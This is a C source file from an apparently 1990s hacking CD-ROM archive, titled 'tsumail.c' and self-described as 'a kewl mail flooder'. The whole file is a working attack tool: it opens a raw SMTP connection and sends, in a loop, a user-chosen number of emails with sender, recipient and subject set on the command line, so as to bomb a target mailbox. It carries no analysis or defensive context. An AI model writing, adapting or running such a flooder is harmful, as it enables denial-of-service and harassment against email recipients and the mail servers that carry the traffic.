home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / hacking / virriiorg / tsumail.c < prev    next >
Encoding:
C/C++ Source or Header  |  1996-04-23  |  1.5 KB  |  63 lines

  1. /*
  2.     God would not want you to have this
  3. a kewl mail flooder
  4. */  
  5.  
  6. #include <stdio.h>
  7. #include <sys/param.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <netdb.h>
  11. #include <stdarg.h>
  12.  
  13. void smtp_connect(char *server);
  14.  
  15. int thesock;
  16.  
  17. void smtp_connect(char *server)
  18. {
  19.   struct sockaddr_in sin;
  20.   struct hostent *hp;
  21.   
  22.   hp = gethostbyname(server);
  23.   if (hp==NULL) {
  24.     printf("Unknown host: %s\n",server);
  25.     exit(0);
  26.   }
  27.   bzero((char*) &sin, sizeof(sin));
  28.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  29.   sin.sin_family = hp->h_addrtype;
  30.   sin.sin_port = htons(25);
  31.   thesock = socket(AF_INET, SOCK_STREAM, 0);
  32.   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  33. }
  34.  
  35. void main(int argc, char **argv)
  36. {
  37.   char buf[1500];
  38.   int a,i;
  39.   char end[50];
  40.   
  41.   if (argc != 7) {
  42.     printf("Usage: %s sends smtp_server from to sub tiny_msg\n",argv[0]);
  43.     exit(0);
  44.   }
  45.   i = atoi(argv[1]);
  46.   printf("Connecting to SMTP Server %s\n",argv[2]);
  47.   smtp_connect(argv[2]);
  48.   printf("Sending Mail To %s From %s\n",argv[4],argv[3]);
  49.   for(a=0;a<=i;a++) {
  50.   sprintf(buf, "helo\nmail from: %s\nrcpt to: %s\ndata\nTo: %s\nSubject: %s\n%s\n.\n",argv[3],argv[4],argv[4], argv[5], argv[6]);
  51.   send(thesock, buf, strlen(buf), 0);
  52.   printf("Sleeping To Make Sure Data Is Sent ...\n");
  53.   sleep(2);
  54.   printf("Sequence %i Done.\n",a);
  55.   }
  56.   sprintf(end, "quit\n");
  57.   send(thesock, end, strlen(end), 0);
  58.   printf("--copy of mesg send--\n");
  59.   printf(buf);
  60.   printf("--\n");
  61.   printf("%i Loops Done.\n",a);
  62. }
  63.